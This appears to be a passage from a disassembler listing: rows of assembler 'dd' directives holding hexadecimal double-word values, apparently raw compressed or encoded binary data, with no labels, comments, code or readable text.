4884210Fh, 6F8F8CECh, 21780859h, 0F0072CCh dd 0ACA522C1h, 11DB95E1h, 0F0E133Ah, 803318C3h, 70E85C1Ah dd 7D19C005h, 0EDE2F296h, 3C06D824h, 8D2A3100h, 0A0EA8709h dd 0A20880h, 0CD842C91h, 48F481F6h, 0AC417107h, 11B1E423h dd 9C4098F0h, 24018C53h, 8A004819h, 80F46310h, 41D8DCF6h dd 12755BA3h, 12BACC5Ch, 0C90355ABh, 95C89B0Ch, 6DD7A002h dd 858C0733h, 0CBE00936h, 60732C04h, 23E1C035h, 66113911h dd 0C0C35200h, 0AA9B1801h, 3A398260h, 1F4587h, 830D37CBh dd 69800BE2h, 1E043848h, 0B6CFB57Bh, 23C0F504h, 0F7B03F9h dd 62D4845Ah, 73D32079h, 9700E90Fh, 5C81A5E5h, 288C7430h dd 20FCF551h, 0EE008EE0h, 8B931B18h, 600C3AC5h, 18A41A7h dd 0E1C25DAh, 3E044887h, 64874927h, 30413D14h, 81991C1Dh dd 8C810249h, 0CD018312h, 5C9C0080h, 15F90093h, 8A8FA931h dd 40C1C95Eh, 0FADB590h, 0D5F8E440h, 20136283h, 8000C82Eh dd 8033F1A4h, 5D768CF6h, 4CEAAAF8h, 23C45B53h, 0C0370175h dd 0EC911E3h, 0C03D380Eh, 0AAD4BE01h, 57C98E3Bh, 0A75DE0A9h dd 72E9DD6Fh, 0C9210FD8h, 6461E6CBh, 4F12A111h, 0C39D88FCh dd 16C3A338h, 4C408FE2h, 0C1D7845h, 0DB828D82h, 63DFB20Eh dd 0F4E91DD9h, 1400F8A9h, 28BD7F01h, 655449C8h, 0E1EA0DA8h dd 0A37D300h, 2092CF5h, 0B608CC8Dh, 0F90E4221h, 2049B0D3h dd 4683C073h, 0F08A549Ah, 6501F114h, 673183B3h, 0E0D933BBh dd 0B82E76F5h, 54A40391h, 0CB4E5AFh, 900B9DA0h, 4C923271h dd 0EF014970h, 192CE9Eh, 0A450C406h, 48CFB5B0h, 8F289890h dd 10F60ED8h, 8BE4867Ch, 2BA0D094h, 68A423C8h, 35D3E704h dd 0BB62E50Ah, 0D3FF4020h, 768C5C4Dh, 8A3AE01h, 0C8B5BAF9h dd 2760371Eh, 3B7CF190h, 60D5490Dh, 0FE24EB3Ah, 0F43CF98h dd 62F4845Bh, 70D22074h, 2C741F0Fh, 8D4B3D07h, 4A9CF5Dh dd 1F53FB78h, 2001A304h, 4CB17D52h, 8B893D18h, 0C7552E4h dd 816431DFh, 8006ED1h, 57B801F3h, 21DBF09h, 24BCBB1Ah dd 1C41C049h, 0B084200Bh, 4A8C31C0h, 60020641h, 74B159CFh dd 0CE500C64h, 967CA610h dd 0D779C814h, 12223B0h, 0A3AD3E6h, 88B718FDh, 0D300FE43h dd 0F84F0EC2h, 9BB4F052h, 1875593Ch, 0C44A00F9h, 25700DE3h dd 8A78F6A4h, 28C80A29h, 46187471h, 0B93F980Bh, 6ACC0021h dd 4851F00Bh, 487948D1h, 0C1303009h, 0FF6605D1h, 109D8D14h dd 289A26A4h, 0A42F2B92h, 4700BA23h, 5C273A7Bh, 0C0480959h dd 34045008h, 5554007h, 0B03D9781h, 0CCD2010h, 0ADD3F0DFh dd 32507C1Eh, 8C1B5122h, 0E1298B49h, 71A8868Dh, 52C90964h dd 4064BBBh, 0EC48682Dh, 0C0FBC868h, 84200F7Dh, 8EC44053h dd 3000B0CDh, 32F70ADEh, 0A49A9201h, 287F3410h, 110A0222h dd 0A8DB2A98h, 2BA9AA09h, 117C1D78h, 5A958223h, 0BFFC68CFh dd 74E05877h, 869B40Ch, 0EB01C080h, 84A88DE8h, 0B1861071h dd 49330E06h, 2BB5B617h, 8F645C45h, 0D4349040h, 0E4B93813h dd 0CF820004h, 1D9D95FAh, 2CB971D5h, 0D8A3200h, 0CF2C425h dd 82955A19h, 4B2A8C41h, 910CBC96h, 0F0ECFE93h, 53B2E75h dd 733D405Ch, 20016A47h, 1E8F38DBh, 998036AAh, 0FC0510C9h dd 0C07B83Fh, 867AA2C3h, 911E020h, 78961579h, 5F80983Eh dd 0F4B17C52h, 0F227448Ch, 470052EAh, 21147CEBh, 40D5908Ch dd 0E00B1FEh, 8117714Ah, 1E8005CDh, 0C7848C20h, 215DEF1Dh dd 0C10DCC54h, 25944385h, 137108B8h, 0C833920Eh, 8C700044h dd 0D0356C7h, 8E7C9805h, 61BAC540h, 2B588E54h, 8F160946h dd 58E34077h, 14B7CC2h, 999AF1E0h, 0DCDA3E59h, 70904C8Bh dd 0C50D2620h, 6F43850h, 0D132ADA0h, 0A21AAF00h, 59B1DFEAh dd 95BD166Ah, 21E00E70h, 3EBC13B2h, 0BA2300h, 3C2D2285h dd 4067B48h, 34DE8811h, 0BC800C80h, 7F680239h, 92A86F65h dd 0B50BF441h, 0AFCCB142h, 0F64CB063h, 15EE1E1Ch, 99CE8B8h dd 9A741E8Dh, 4FDB440h, 3D304AE0h, 0D978507Ch, 23FB01BAh dd 93431C8Ah, 88982408h, 0A0D80220h, 60A73799h, 7842808Ah dd 901813E0h, 85203996h, 3F670A9Fh, 71204070h, 0C132CAD0h dd 34187034h, 11E6C00Bh, 26C9C31h, 7C0C253h, 0BC820E7Bh dd 1100330Dh, 0D2D60290h, 23803A68h, 0DB4C00B1h, 63DC249h dd 0D1B97200h, 85A94627h, 55441883h, 4D0B682Ah, 70A8D618h dd 0F41678E1h, 0FB53097Fh, 102339ADh, 0E6D89321h, 501F81DCh dd 0B2474BE1h, 1EC064A9h, 983C726Fh, 0E0DCF8B6h, 8C0C1802h dd 802B50E8h, 0C8CC6533h, 8E8FE868h, 0A0BF8B87h, 21395E66h dd 90790B0Fh, 89132C3Bh, 48A6008Bh, 264EF16Ah, 800EFF5h dd 1C63F90Bh, 7C9B30h, 2E291702h, 0A70D164h, 0D5F839C0h dd 26EB941h, 205B6C65h, 3C909DC1h, 4124AA0Ah, 8BB97027h dd 1071DEB0h, 6A170Ch, 3D824660h, 2B1F665Bh, 3700A17Fh dd 136E4EC8h, 1EA8F973h, 56EB7C18h, 7BE40EC7h, 146BDF60h dd 3A1EDC56h, 0A00820Dh, 0FDA7407Fh, 52C8006Dh, 3E2387E2h dd 4201F45Dh, 27DB8684h, 88CB1D5h, 0EC20E33Bh, 1300F4E6h dd 515DBAC3h, 0ECA6E811h, 4321008Bh, 9CF956FAh, 0A008D48h dd 146C5D61h, 0F243Fh, 5E256A77h, 8A79EE3h, 2E189900h dd 882F20D3h, 87F90657h, 684ED5F6h, 1E6D5E3Ch, 11B076B9h dd 1F658983h, 438B0CFBh, 847B7555h, 21009EA3h, 0DD6B71B9h dd 16985B5h, 0D4476FFCh, 81C5ECE0h, 0CE207579h, 30BCBBD5h dd 9380A73Ah, 32E69E8Bh, 0E46606F7h, 0F21AB08h, 5092B047h dd 0FBB31A80h, 40C42480h, 6A00201Fh, 0B127A1FCh, 8715570Eh dd 0FD092061h, 844163h, 7DADDBF6h, 32EF86F2h, 7795E10Fh dd 0C6F8181Dh, 112A000Ch, 0AA81F836h, 0A0C8AF91h, 9241C3C0h dd 35969E90h, 0FCC54586h, 440093BEh, 9BD93C2Ah, 300EF047h dd 0B021B370h, 0ECA853A5h, 0B228798Dh, 20F9B4D3h, 1F020F6Dh dd 0B67E05BAh, 60DC8080h, 5599D3h, 58502ECFh, 0D5AE82Ch dd 0A92A3Ch, 0AC4981FBh, 1B26D1BCh, 69AE770Eh, 1C5B823h dd 9E4293B8h, 0B1AC58EEh, 92D44689h, 836A0088h, 521F34D2h dd 0FF204951h, 877C2Bh, 0AB6236FBh, 0A0BB91A5h, 6C08156Fh dd 1FE92051h, 80DB36C0h, 0A17FD402h, 2200EF72h, 6EE0BADh dd 14F22DD9h, 802CFC3Ah, 59304D29h, 737418FFh, 8F343CD0h dd 77082E81h, 24C5A9F7h, 0B260DB38h, 37810BD1h, 992F0040h dd 31EC2C6Ch, 5DEAADB1h, 0F8A9FC28h, 460EFF01h, 76FDA421h dd 4202B826h, 4E85B9F4h, 15103D31h, 9900F484h, 1FFEFFF3h dd 7C058B8h, 5FF6F865h, 0B73182A9h, 0C677D880h, 0B11E9425h dd 7AC0645Dh, 0B6CB706Eh, 0D0F7122Ch, 0B4AC320Bh, 50896231h dd 0AC31930Ch, 6ABE11C6h, 127248C4h, 0C9122h, 1F88AC58h dd 50732F6Ch, 28BA8729h, 0FA659C00h, 8686630Ch, 64B410F7h dd 0CAE3006Ah, 0D9DBB9C6h, 8831F774h, 0B6D22189h, 52EEAC50h dd 0DDFA0059h, 348BC3EFh, 0B70222FEh, 0CFD18815h, 28E890E8h dd 0CC9E2891h, 901DF084h, 2854628h, 0AB8E36F7h, 10F931C5h dd 1361CE5h, 726BFD25h, 803319C2h, 0EF140E8h, 0C33E4932h dd 0F4D0F610h, 9D2BA900h, 41B098AFh, 7150002Ch, 89CD3332h dd 0A5005B81h, 0E3212D76h, 90F4E678h, 36CC00B0h, 0D0B4D26Ch dd 58003357h, 0DEF796ABh, 0A702394h, 8913B74Ah, 209A9FB0h dd 0ABF0AF03h, 8804F824h, 247E228Bh, 0C0B8C720h, 9E409246h dd 448635E2h, 1498D8DCh, 183E8007h, 0D1D13990h, 0B0326F72h dd 4A30CBF2h, 27EA0056h, 7D33378Ah, 709080B1h, 29A26630h dd 0E1F13A72h, 55CB9840h, 0E2C681E2h, 9E0C9844h, 31BC2D25h dd 4CC060C8h, 0DAFFA35Fh, 0A94CE100h, 0B8531B3h, 0C63A0177h dd 0A637740Fh, 3C9FDCBFh, 21D4D450h, 2CA26D0Fh, 904F8018h dd 0A7778188h, 26808C14h, 0AF049980h, 29B34CB8h, 3071C882h dd 4611F441h, 3188A684h, 0F44B1080h, 4C6E72h, 4CE3ACBh dd 0E7367CFh, 0E89A09EEh, 0A898B23Eh, 0D09E019h, 223B3932h dd 20F78E20h, 96C6E8F0h, 0F3A27E12h, 4B6F1004h, 4CE4884h dd 1EC0A288h, 0EF2A58h, 55B22657h, 60AB9D7Bh, 8C90BFFCh dd 25043B71h, 2381FAE3h, 0D90BC846h, 42F1E600h, 0DA3080F5h dd 98F3BCDh, 0C560540Ah, 469420F0h, 0F48B0277h, 0E7B685B8h dd 4D1E0014h, 34A3CDF4h, 185123Fh, 792B5F88h, 0D424BA3Eh dd 6B92831h, 8A49008Ch, 5F238CDDh, 2D587E09h, 602C0054h dd 5EB9E92Ah, 730303F6h, 0ECE26D37h, 0E18EBC88h, 48AC1A00h dd 0CC3257C4h, 0ECD00BFh, 0D6467FBEh, 68008F9Eh, 0D702D9AEh dd 262D3A92h, 3AFD5CD2h, 73FF8280h, 53E04B27h, 0D55F9000h dd 0CB2EAD09h, 48400B0h, 2464FDC7h, 1D010383h, 456A0D13h dd 0E1E0BF1Eh, 6C9B0082h, 0B3DDF11Bh, 8C5CABB5h, 88D70F14h dd 55D2E021h, 2E78491h, 9919DA33h, 0DEE0D098h, 3E05F8C7h dd 5D831F94h, 34E3043Fh, 1F56C8Bh, 154C8F08h, 0D327E062h dd 1D901E00h, 586F781Ah, 0E83500BCh, 8F5C1F07h, 0E1060D76h dd 15042766h, 6E542229h, 18312F10h, 0E2084A21h, 68E088D2h dd 8830CE88h, 5788166Eh, 84BC9017h, 0A248374Bh, 22CA0D42h dd 34006B48h, 0F6BEEEh, 790B4154h, 0B363ADF1h, 0D9051A00h dd 0CB5435Ah, 27680047h, 7DE8F494h, 0D3006638h, 6A553FCh dd 24F30Ah, 2B4DB6A2h, 0A68637F4h, 263BDD00h, 0CA34CC80h dd 5E100061h, 3748A31h, 8C0002E2h, 0DFD2852Ch, 148E953h dd 0BB45439Ah, 80B28407h, 0C9518B18h, 7BAEC26h, 89B55414h dd 0C57D3086h, 0B700678Eh dd 0EC3647ADh, 0E83B34ABh, 8B5E00EAh, 0F5D51F3h, 6100442Dh dd 0DABA95C4h, 0FD399DDh, 0ED74E3B7h, 61C8A9Ch, 0CDB683ECh dd 79A8C1DAh, 0B500F88Fh, 5EBA283Ah, 7AD7644h, 839F1AB2h dd 0FF983716h, 423D7263h, 0D0DDA1C9h, 0B100A419h, 811BB3E9h dd 6032BA5h, 0CDF1A28Eh, 20021146h, 752EFF7Ah, 2CEF0EB9h dd 2B328E0h, 3D729BC8h, 0CCACA701h, 46345632h, 54243024h dd 539C5Fh, 919626F5h, 42E86E0Fh, 4FF05701h, 66880A62h dd 0E5F3EE4h, 0A7781EB3h, 0B3289A67h, 93A8CDDEh, 4D00D38Ah dd 0FF31F30Eh, 13957ABh, 0A73DC6Dh, 0F0A7D047h, 131EE5F2h dd 78800B40h, 41C8FA66h, 849F0024h, 0E0AFF0DBh, 5300D78Ah dd 0C438CAA3h, 67A24Eh, 0A164FEBDh, 9CE7908Eh, 0EE589403h dd 0E8621246h, 0CBC57Ch, 72BB1FCCh, 28736E49h, 9F210301h dd 327F0EAFh, 1C62FDC0h, 40CECC4Bh, 0D55658B9h, 8E02AF30h dd 680561A8h, 46888A90h, 2C2E0400h, 0B16DA6h, 4B8919C8h dd 6C2166F3h, 97CADB0Eh, 0FCDC00FFh, 0E0AC8393h, 37A90015h dd 659F5DF9h, 64B07C1Bh, 0CC42D40Fh, 581D5293h, 0AC584E00h dd 0F469C43Fh, 6FF827h, 5FEAEB1Ch, 0B3109A97h, 3F6BB00Bh dd 0B56B80DEh, 7B8671BCh, 7B210068h, 6ADB455h, 0C4005A9Ch dd 0D307B529h, 0EF66896h, 0EEF5EFACh, 93D1C5C0h, 0C80935E9h dd 80E722h, 8AD4392Ch, 0F4FB7317h, 0F638E232h, 9B4200F0h dd 6A2E099h, 7000EF4Ah, 0A5B61F1Dh, 0A076B3h, 0FE839B19h dd 153B8D7h, 170247F2h, 0AF6B3364h, 1F4C60F9h, 0B1C001Bh dd 38C3D3D9h, 771D88FFh, 0B24FA080h, 9031613Dh, 8AF524F9h dd 0C874F880h, 8DCD8037h, 17CCE0F7h, 50C41B07h, 76E04A46h dd 85FA65h, 0A6F30D74h, 9BA46EA5h, 0DD80E600h, 2305AEB9h dd 0F28FE017h, 0CD900050h, 39436A55h, 0E10EBCE3h, 0A0B410AAh dd 0A877B385h, 9FF30E1Bh, 0B7C0DF9Bh, 7E38AED2h, 4F056901h dd 5F0EB272h, 3DF4FC40h, 42EE00F3h, 2094172Dh, 13C224Dh dd 8D9F00B7h, 0BA0CF23Fh, 703600C6h, 85A23D47h, 0B9ECC5C3h dd 6CFED901h, 0C73E7A18h, 53ADB840h, 79EE1D1Eh, 1BC401Fh dd 0C16F03DCh, 0CE727C00h, 7E31CB15h, 1DC002EEh, 4A77C74Ch dd 0B98A1C60h, 0E700F790h, 96975BDBh, 69460Dh, 510E9BF0h dd 0FC8A0458h, 0A3FA8B01h, 0EF800873h, 62B6F8h, 0AFECC376h dd 307AE00Ch, 4403C474h, 1D07258Bh, 2FDC985Dh, 183300D8h dd 193D10D7h, 201CF23Ah, 240E59Ch, 0FCF63ECEh, 139A09EAh dd 0B0B0F871h, 44012E2Ch, 5A7E8179h, 0B840BC3Fh, 122BAEB7h dd 2A06FDh, 31E86A24h, 0D648E95Ah, 1F661118h, 7552AA06h dd 8203E809h, 20C4D165h, 7095F83Fh, 0ECC67EE5h, 98320278h dd 0AD4C5BBBh, 0A75DF440h, 53BCE200h, 3F75604Bh, 7F91019Ch dd 30C7DA45h, 178BA6Eh, 0CCF9FB93h, 0EEF5859Eh, 1B597F4h dd 1D7365F4h, 0CC9C4B8Fh, 0D7000478h, 0BC8CE137h, 4974DD0h dd 680D6C2Fh, 0DC78C0C4h, 210178B7h, 16E0E7Dh, 0F4C4CAB8h dd 0F610CFDh, 8520A37Eh, 0C7192009h, 257183E1h, 9603E8C2h dd 4141C098h, 1524B4C4h, 0A98B6601h, 60F6834Eh, 0A0DE4h dd 4644E502h, 96C7431Fh, 0A63AE600h, 0D08CFC6Ah, 0C2531D18h dd 0CB3B00F5h, 956F46E4h, 80A6143Dh, 7A1B52A4h, 639DC3h dd 0E92F3161h, 4D7DA07h, 639D400h, 156DCFA7h, 5AFE018Ah dd 4D86F2BEh, 0DC11D03Bh, 0E3822904h, 4BC00BD5h, 246341BFh dd 0A0D0A10h, 16A01B7Dh, 8DBA00D4h, 9B50FD16h, 3D19E007h dd 5E80E3A5h, 0BDF2D8h, 0EF6056BCh, 0C4C72732h, 9F2B9800h dd 0D081250Eh, 1F6900A6h, 6BE8F8EEh, 0D1005B30h, 84A0D8CAh dd 0A5A22Dh, 0C7BF9FBEh, 4808B805h, 145B3824h, 24CD7309h dd 790EA64h, 50DAD0h, 8E05A5A1h, 22619EE9h, 0C0087128h dd 8063F03Bh, 8D807EDEh, 4F1BDB7h, 9549D732h, 0E67891AEh dd 9A19C43Ch, 0D37D4B00h, 0C7D142E2h, 29F51CB6h, 81EDCBB7h dd 0AB76DC00h, 0A907E51Ah, 0A49BC4Ah, 0AAA7E697h, 83530E50h dd 0BF24009Eh, 33C5F07Ah, 0E105E9FBh, 0D0886A95h, 74168F00h dd 332E37Ch, 8131226Dh, 87987B6Eh, 0DF00DB98h, 0B4963D9h dd 7B8DFC4Eh, 0DDD100AEh, 4B4742A7h, 0B309150Dh, 3ED4051h dd 0F8F293B0h, 0FCE7EEAh, 61DF54B5h, 0DA645D40h, 96008225h dd 8AF52E4Ch, 0EDE7E2h, 55BFC6D7h, 0A8FF900Ah, 0F19F4E00h dd 1A37D5CAh, 3BFD3CCDh, 444AB600h, 5A85E815h, 0F3872901h dd 0C48ECEFh, 0E3A07D8h, 2EC58E40h, 0D8E7A400h, 0D50958D7h dd 87A7B0F7h, 1290489Dh, 0D16799h, 0F64BCB38h, 665F5EE4h dd 0F3B811Ch, 41D7AB04h, 2A3EF880h, 9B9E0F5Ch, 0FAEF6845h dd 5480EACFh, 0DC849204h, 0A11E6000h, 2457670Fh, 1C73EA8Ch dd 81AE1ACFh, 1C940B7h, 5F7CDCD4h, 31F8D509h, 856C8E28h dd 68D00BACh, 1D586D8Eh, 810662A7h, 53BADF36h, 0D120602Ch dd 9DF9490Bh, 0BC4C03ECh, 0F8DB9821h, 0A8A31383h, 0AC881411h dd 471A0092h, 0E2CC53BEh, 80AF593Fh, 0DC8F9135h, 2549A6h dd 98208178h, 5CA1546Bh, 0CC3D8A01h, 40C535C0h, 0C030462h dd 8BA49FB9h, 197D05F0h, 0B243D200h, 77D1C276h, 1D1500C4h dd 30C06D94h, 0DB7CF578h, 0E8D84660h, 0FC8F898Bh, 0B47717ABh dd 0BB28000Ah, 0D82B0501h, 4978D6F8h, 5A205803h, 0A41810E5h dd 2D53A080h, 6C0C1DB5h, 0FF92C5CAh, 3A088036h, 6803A58Ah dd 820E79C9h, 0E166B250h, 0BEC4C2D4h, 2AE00F5Fh, 833E9D16h dd 4F7482B1h, 0E5F80CE0h, 0F91EA090h, 0E02B3Ah, 0FADF4166h dd 1EB358CFh, 11750600h, 5571107Eh, 3F97F46Bh, 0DB81879Fh dd 8EABC8D2h, 6D047098h, 0E71C370Ch, 891162h, 0FE5D07DDh dd 666EEB3Dh, 0CCB8047Dh, 4E3B8E0Fh, 6C82088h, 10A7ABh dd 80D29401h, 0AC0F836Bh, 0D38C40EBh, 0EC09B168h, 3A30CDBh dd 88854DE0h, 25EF46h, 10419A12h, 0A00FDDFAh, 88F91500h dd 3C7EDB3Fh, 0BC93197Dh, 700C0AA6h, 2E1D37A3h, 1707BDB0h dd 0D020F0EBh, 24728B09h, 680149h, 0C4FAE3CFh, 415D8F1Bh dd 9EA048ECh, 57D0FB41h, 0C9E4FE44h, 66410014h, 0D1B25DF7h dd 37036CD6h, 0BFE4094Bh, 13E87D9Eh, 40D2B07Bh, 0D3380A80h dd 0D4007934h, 0A2452A5Ah, 0A0A4598Eh, 0ED8280h, 1D9A6DB9h dd 0BF067B0Bh, 63735702h, 8014E2F3h, 9992A1D4h, 81D0017h dd 861E64DEh, 670961DCh, 0ED284FAh, 3AD3008Ch, 670F7E1h dd 915EAB34h, 971FC899h, 3FB8FFE2h, 9C1A8024h, 52EA4582h dd 0FBA60BB8h, 80DF9527h, 38075450h, 0B0760006h, 7991DC58h dd 0BF01D273h, 943ECAA3h, 0E4C02CDAh, 0E0690090h, 0AC6880D9h dd 3007FAEh, 811EADA5h, 394CE1F7h, 85002733h, 0E4245BC5h dd 0DF50D354h, 0E2F6E9BFh, 39359C0Ah, 0D202BCC7h, 405E7E3Eh dd 0CCA7B3Ch, 0FE791733h, 26F869EEh, 920A5D07h, 490AFD1h dd 0F7BC94h, 0B7DF3D01h, 0B569C083h, 0F7274Ch, 45E91D4Ah dd 1857597Ch, 989EB775h, 9FF44Eh, 8203DACEh, 441A0072h dd 5E14B8DBh, 7AFCC048h, 803A0138h, 27557BA5h, 0FC3E4536h dd 3DBD00B5h, 92BF59EAh, 1E00B2DAh, 0FAFB5FE4h, 479EC3h dd 0B5FD71B0h, 0A08815D1h, 0F0126EFEh, 8009A8Eh, 97C926B9h dd 0BDAD00F5h, 365EF94Ah, 0EB1FB229h, 60C017D8h, 0F7697B15h dd 7ACE004Bh, 0BBB6A0Dh, 0B4034520h, 50097F51h, 5BF58086h dd 93EF0049h, 88C2BCEEh dd 0F4A09ECAh, 3730A3F9h, 0CD408898h, 30D57C62h, 0E3210F65h dd 200AC0Bh, 4F6411A6h, 98168B1Dh, 0FF800094h, 0F9D1599Ah dd 0C92E8E6h, 68845D07h, 8AF05C31h, 528539Fh, 0ACBD55E1h dd 0F271C13Bh, 9D83F02Dh, 92D48C00h, 0BC7B3DECh, 9A9090E4h dd 16E172CCh, 1748BEh, 23EFD4FCh, 554CDF6Eh, 30E0263Ch dd 9D8BAD04h, 3174CE0h, 0EAB0631Ch, 23D1936Ch, 52CCD8BCh dd 87CA501h, 124DE9D5h, 112840E6h, 305600F3h, 9BFF84C1h dd 0EA00E7F8h, 4F1F9D4h, 590E86h, 71BEB2A9h, 91651BDCh dd 82075C90h, 9E020369h, 7FE99990h, 96A4FBFh, 0D80005E0h dd 41822E3Ah, 0C7323600h, 25170EFFh, 0FE8EEE9Bh, 74E9005Dh dd 6E6F9146h, 0F7791DDEh, 33435707h, 28007383h, 330192Ch dd 55D626CEh, 4888DDE8h, 0A9017793h, 0ED675902h, 303C768Bh dd 1A656800h, 5ACA06EAh, 0EC4E1024h, 0E419100h, 3C5466EFh dd 304D53E1h, 7EB1BF04h, 0DC905258h, 0EAC713h, 0F01EF155h dd 2F744F51h, 1A49h, 82BE5BE1h, 729303B2h, 7CDF266Ah, 38238020h dd 0F04162D6h, 754145Ch, 0D84FA203h, 1D7050F0h, 66520006h dd 0E9432969h, 3072BABh, 940B4A36h, 0A19224B0h, 0C94C00DDh dd 0BCDF07A7h, 320C1B5Fh, 0A8AB4756h, 3A692C83h, 1CD14300h dd 0D3706800h, 71C09446h, 58A0625Eh, 1604D5Ch, 731C3793h dd 81C021E8h, 0FBBE9956h, 639400FDh, 0BB23C191h, 44067419h dd 0CE9EFC1Eh, 93872270h, 982EA925h, 58AE90h, 0CF9E35D3h dd 302A2CC5h, 9F49F716h, 0B94B3100h, 35F0FB7h, 0E21394EDh dd 0C9882550h, 0B304F9A9h, 0EA62661Ch, 0C6BF5490h, 0C1E301F8h dd 39854552h, 181880F3h, 69D93F47h, 91BB0028h, 0B7269465h dd 67000D27h, 85C0E5BAh, 9F1B11h, 0C6F7CAA7h, 0E493FB60h dd 0DE255A03h, 8829788Ch, 1287E18h, 521BABE3h, 0F84F38D9h dd 0C7076971h, 1FE43FCh, 483B3510h, 499002Fh, 0E423C9F9h dd 80A09DB4h, 8A00C388h, 0E925A80Ah, 819524h, 0F93ED71Ch dd 69675FF7h, 8E9B1900h, 0CF86608h, 98D53F51h, 0C925833Bh dd 46E89C00h, 0EF1C5E4Ah, 64E41B48h, 7C14E700h, 9D8041Ch dd 2279F35Ch, 0ACB49082h, 0DF005870h, 0C5A9F831h, 4BF2D4Ch dd 4A90170Fh, 3B98A0DDh, 0B9D66700h, 4259B170h, 1F9001Ah dd 0F63D2357h, 521FC502h, 0CB40819Dh, 44A0E6D9h, 0AE2B0321h dd 1D7A270Ch, 0EEDE45C8h, 50C348h, 9FF88012h, 14771971h dd 0C80C3B52h, 396D0200h, 3C7BFCECh, 6968C800h, 0ED7898B8h dd 0C5233E40h, 3B974481h, 0C0F7D388h, 0B303A5BAh, 6A9B100Ch dd 0A3D7E812h, 0CE6000A9h, 0E167817Fh, 1A0991C4h, 80F93AB1h dd 61CA9C32h, 96D72E54h, 92FE0060h, 0E8D05AF1h, 4F08248h dd 0A925BA5Bh, 5704487h, 1201A88Ah, 5DD2DA3Eh, 81340D0h dd 35DF52D4h, 16009498h, 178AF0EDh, 69744Bh, 0AC8E3B26h dd 0CA1413B9h, 660044B0h, 120EA86Fh, 286756h, 0D083FF9Ah dd 0B92BAEBBh, 5276FFA0h, 30F85430h, 3C1CAD6Eh, 77011892h dd 49482520h, 0FBE8E899h, 0ACA85F26h, 21FD0207h, 1AAEBE3h dd 8CF3EA10h, 0D0E19C35h, 4A00DAD6h, 67E3C87Dh, 16C66Ah dd 0F46DE9F8h, 513E3DB0h, 1B6E6300h, 9531F7E4h, 0E117CB4h dd 73BEE625h, 97746122h, 0CB5414C0h, 10F3C300h, 28331DD6h dd 44141F9Ch, 4810EDAAh, 0EF00C53Fh, 0BE094313h, 723C414h dd 0EB834B05h, 0BC4CA37Ah, 0F510AC13h, 0B7C71420h, 8AE8009Ch dd 0C64EE38Eh, 3098A1B6h, 9EB41B00h, 0E957D694h, 495C4AF9h dd 0E90E2604h, 8BF5E620h, 0C5007C47h, 0CB0F1F11h, 16B72544h dd 49E3E4Bh, 0C029DCDAh, 23D0104Ch, 82CB702Dh, 0C037C8CCh dd 13D971CEh, 0C3F15F3Dh, 0D0000B98h, 86F998C3h, 9AE5F3h dd 0CC0E76Dh, 62A6C87Bh, 6B129000h, 0E160AEF1h, 3D55070Dh dd 80FCFF02h, 0B0EF50ACh, 0DC4DD898h, 2CB40016h, 0FDD74621h dd 6D520154h, 5BD48A2Dh, 5A2881F0h, 0CA506AE0h, 5E3C20h dd 0D050975h, 1C830A7Bh, 67C17802h, 4040CF65h, 0B85EF5B4h dd 0C27B1D0Ah, 4B60C094h, 3F4AB5D0h, 1FEC4748h, 0FB44D3CDh dd 0F280D6FFh, 3CEB5D80h, 0BA003F9Ah, 0B006204Bh, 461D036Fh dd 8180FD68h, 7D0A5751h, 5CCD00A4h, 7ABD66DEh, 25E6E8FAh dd 60773CFEh, 94A1704Eh, 6F129851h, 0B5A430h, 0D07C500Eh dd 478EF591h, 361DCE00h, 924E52BCh, 0D9041F17h, 580FD10h dd 2A3D3049h, 0CBE2AAD1h, 579D0703h, 8ADB0681h, 0A3E04036h dd 0DCB70944h, 0BE816172h, 40D0F004h, 0BED2F190h, 0D42C2E07h dd 369BAB6Bh, 63300158h, 43E37CE0h, 609AF14Fh, 57003480h dd 1499B85Bh, 0D59BBCh, 9E3B6322h, 7F1861D3h, 79E8B700h dd 0ED9A5E53h, 0E15DDBh, 8498592Eh, 0B7C67166h, 0C9D90244h dd 43842E6Eh, 9AA038A4h, 0A00083BFh, 0A21415E5h, 7001E40Dh dd 0A7BA1863h, 0BDDCA96Eh, 7D80003Fh, 0D43B395Ah, 9202C525h dd 0FDC25388h, 8776C32Fh, 4D82005Eh, 0F5E889h, 0F410DE9h dd 0B0D41AD0h, 0A413DFE8h, 0F8401049h, 0A6B1B821h, 4480005Ah dd 2B6654D1h, 4F5039D7h, 0BB188CE4h, 36D9921Dh, 0AEDA0164h dd 17C0A69h, 6AA6E4CAh, 0C9002875h, 0EA5E4212h, 0B1CD7Fh dd 0A9B5CF84h, 4F252CA0h, 1FB49600h, 0A3E337D6h, 3C2D74F3h dd 0E4504089h, 9B590047h, 156F72DDh, 5F5B1CE7h, 64F57000h dd 0C16B2Dh, 3E2397CCh, 0B7E1462Ah, 0A500B0E6h, 94C0285Ah dd 0FA7D88Fh, 554180B3h, 40D4B9A7h, 38306A9h, 84DE314h dd 4C5B0BEEh, 0CF483A6h, 0E13AA0C7h, 59C100FDh, 40FF2C96h dd 290FEF03h, 204EDC91h, 0D01D8053h, 0B9E50B39h, 7E00E276h dd 0CD3FECF7h, 331FFF00h, 850FC360h, 0F1C500BBh, 0AAE266B8h dd 97F657B4h, 8086133Dh, 8D2B2759h, 4A0E0D87h, 0D2500080h dd 0D5DD353Ch, 372D6701h, 0D15E8A9Bh, 20287ECh, 92F9982h dd 5460228Ch, 43004DADh, 0E8EC40CEh, 1F1B3FEh, 0F968A65Bh dd 40C68105h, 4A30BED0h, 3E9C665Dh, 1380062h, 6F9C99B5h dd 27190C06h, 3A20B2AFh, 33785600h, 4314B83Bh, 99DC87h dd 0B79C98B0h, 8E601901h, 0B4FCA338h, 860900EBh, 547BABF9h dd 8300DC8Ch, 17403BC3h, 64D3D6Bh, 0BE025A9Ah, 5D018099h dd 0E2A765EFh, 30406B91h, 160FCD9Ch, 0DBF68Eh, 6C153B46h dd 0F103BD3Eh, 0A603367Bh, 1417D98h, 13CCA775h, 409D027Eh dd 875F1D0Ch, 3D39DC00h, 7C34B588h, 6AE400A8h, 79551A92h dd 5300AB3Eh, 249BD703h, 1838DFh, 0BC429D5Ch, 80C7FDBDh dd 0D644A901h, 48F4C6BEh, 76D7EDCh, 0DBC9696Eh, 0E037A081h dd 0B30050B9h, 5546097Bh, 58E348h, 0C0A00F03h, 13C56F3Ch dd 74BE5907h, 2C5005B7h, 9BAEADh, 657D8147h, 0AB30D34Fh dd 338F8900h, 8FB73A6h, 0BBECBDh, 9AB49E6Fh, 1C2ACA8h dd 0CFDE7900h, 0E60D2778h, 7B623942h, 135A2600h, 90C1E9C4h dd 5C611D04h, 2488A704h, 0D1C500A3h, 